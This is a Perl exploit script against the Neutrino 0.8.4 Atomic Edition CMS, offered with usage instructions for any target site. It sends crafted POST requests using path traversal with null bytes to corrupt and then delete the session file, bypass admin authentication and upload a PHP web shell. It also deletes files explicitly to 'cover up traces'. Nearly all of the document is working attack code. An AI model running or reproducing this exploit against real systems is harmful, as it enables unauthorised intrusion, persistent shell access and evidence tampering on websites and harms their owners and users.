#!/usr/bin/perl # # Neutrino 0.8.4 Atomic Edition Perl exploit # # discovered & written by Ams # ax330d@gmail.com # # DESCRIPTION: # First exploit destroys "/data/sess.php" file (simply strips tags), # then we are able to bypass authorization and using admin privelegies # our exploit uploads basic shell to "/data/pages/shell_name" and deletes "/data/sess.php". # Admin will not see that "/data/sess.php" is deleted (it will be restored back in new auth). # # USAGE: # Run exploit :perl expl.pl http://www.site.com # # NEEDED: # regardless php.ini settings... # # GREETZ :P # Goes to... SLV, to he ( he knows who =)) and # others whom do i know =) # use strict; use IO::Socket; print "\n\t~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ \n\t\t Neutrino 0.8.4 Atomic Edition exploit \n\t~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n"; if(@ARGV<1){ die "\n\tUsage:\texpl.pl [host]\n\n \n\tExample:\texpl.pl http://localhost/blog/\n\n"; } my $expl_url = $ARGV[0]; my $shell = q~ ~; my $shell_name = 'eof.php'; # or any desired print "\n\t[~] Starting exploit...\n"; if($expl_url =~ m#http://#){ exploit($expl_url); } else { exploit('http://'.$expl_url); } sub exploit { # Defining... my $site = pop @_; my ($a, $b, $c, @d) = split /\//,$site; my $path = join('/',@d); my $host = $c; if($path) {$path = '/'.$path;} my ($length, $packet, $config, $injection); # Revealing /data/sess.php... print "\n\t[~] Modifying '/data/sess.php'..."; $injection = "action=usb&mail=-|\\?|-&p=../sess.php%00"; $length = length($injection); $packet = "POST $path/index.php HTTP/1.1\r\n"; $packet .= "Host: $host\r\n"; $packet .= "Connection: Close\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet .= "Content-Length: $length\r\n\r\n"; $packet .= "$injection"; if( ! send_surprise($host, $packet)){ die("\n\t[-] Unable to connect to http://$host\n\n"); } sleep(1); # Let's cover up traces... $injection = "action=del_pag&pg=../sess.php%00"; $length = length($injection); $packet = "POST $path/index.php HTTP/1.1\r\n"; $packet .= "Host: $host\r\n"; $packet .= "Connection: Close\r\n"; $packet .= "Cookie: sid= \r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet .= "Content-Length: $length\r\n\r\n"; $packet .= "$injection"; print "\n\t[~] Covering up traces (deleting sess.php) ..."; if( ! send_surprise($host,$packet)) { die("\n\t[-] Unable to connect to http://$host\n\n"); } sleep(1); # Bypassing auth, creating shell, copying "/data/sess.php"... print "\n\t[~] Bypassing auth, creating shell..."; $injection = "action=new_pag&title=$shell_name&text=$shell"; $length = length($injection); $packet = "POST $path/index.php HTTP/1.1\r\n"; $packet .= "Host: $host\r\n"; $packet .= "Connection: close\r\n"; $packet .= "Cookie: sid= \r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet .= "Content-Length: $length\r\n\r\n"; $packet .= $injection; if( ! send_surprise($host,$packet)){ die("\n\t[-] Unable to connect to http://$host\n\n"); } sleep(1); # Finally check for shell print "\n\t[~] Checking for shell..."; $packet = "POST $path/data/pages/$shell_name HTTP/1.1\r\n"; $packet .= "Host: $host\r\n"; $packet .= "Connection: Close\r\n\r\n"; if( ! (my $dat = send_surprise($host,$packet,1))){ die("\n\t[-] Unable to connect to http://$host (check for shell yourself in $path/data/pages/$shell_name)\n\n"); } else { if ($dat =~ /200 OK/){ print "\n\t[+] Exploited! (check /data/pages/$shell_name)\n\n"; } else { print "\n\t[-] Exploiting failed... (but still check /data/pages/$shell_name =))\n\n"; } } } sub send_surprise(){ my $dat = 1; my ($host, $packet, $ret) = @_; my $socket=IO::Socket::INET->new( Proto=>"tcp", PeerAddr=>$host, PeerPort=>"80" ); if( ! $socket){ return 0; } else { print $socket $packet; if($ret){ my $rcv; while($rcv = <$socket>){ $dat .= $rcv; } } close ($socket); return $dat; } }